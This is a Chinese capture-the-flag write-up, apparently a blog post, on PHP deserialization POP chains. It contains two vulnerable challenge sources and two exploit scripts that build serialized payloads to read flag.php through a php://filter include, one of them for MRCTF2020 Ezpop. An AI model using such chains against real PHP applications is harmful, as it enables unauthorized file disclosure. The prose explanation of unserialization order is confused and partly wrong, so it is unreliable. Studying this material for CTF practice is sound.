源码
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>
pop链子如下
B.__wakeup() --> C.__toString() --> D.__get() --> A.__invoke()
exp如下
<?php
class A{
public $var_1='php://filter/read=convert.base64-encode/resource=flag.php';
}
class B{
public $q;
}
class C{
public $var;
public $z;
}
class D{
public $p;
}
$a=new B();
$b=new C();
$c=new D();
$d=new A();
$a->q=$b;
$b->z=$c;
$c->p=$d;
echo serialize($a);
?>
解释如下
对于这个pop链的执行过程,可以进一步详细解释。首先,让我们逐步追踪反序列化的过程:
反序列化开始时,会先对最内层的对象a进行反序列化,即将‘a进行反序列化,即将‘var_1属性赋值为字符串"php://filter/read=convert.base64-encode/resource=flag.php"`。
然后,对对象d进行反序列化,它的‘d进行反序列化,它的‘p属性引用了对象$a。在反序列化过程中,会调用对象$d的__get()`函数,返回对象$a的结果。
接下来是对象c的反序列化,其中‘c的反序列化,其中‘z属性引用了对象$d。同样,在反序列化过程中,会调用对象$c的__get()函数,再次触发对象$d的__get()`函数,将对象a返回给对象a返回给对象c。
最后,对对象b进行反序列化,它的‘b进行反序列化,它的‘q属性引用了对象$c。在这一步中,会调用对象$b的__wakeup()函数。在当前代码中,__wakeup()函数使用正则表达式匹配$q`属性以检测恶意输入,如果匹配成功,则输出"hacker"。
在示例中,C类中的var属性是一个指向自己的引用。也就是说,$c->var指向了$c对象本身。这样的引用关系可以在对象内部形成递归结构,即对象包含对自身的引用。
当我们将这个对象进行序列化时,整个对象图(包括引用关系)都会被序列化。这意味着在序列化过程中,会将$c对象及其相关引用也进行序列化。在反序列化时,被序列化的对象图会被还原,重建出原始的对象及其引用关系。
由于C类实现了__toString()方法,该方法定义了如何以字符串形式表示对象。在示例中,__toString()方法返回了$z属性的var值,即$a->var_1。因此,在反序列化时,如果尝试将$c对象作为字符串输出(例如使用echo语句),就会间接调用C类的__toString()方法,从而返回$a->var_1的值。
总结起来,尽管示例中没有直接尝试输出C类的对象,但是由于序列化和反序列化过程会还原整个对象图,当尝试以字符串形式输出$c对象时,会触发间接调用C类的__toString()方法,并返回相应的值。
[MRCTF2020]Ezpop
此题同理
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
pop链如下
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
}
class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$a= new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));
?>
原文链接:https://blog.csdn.net/2301_76690905/article/details/133763490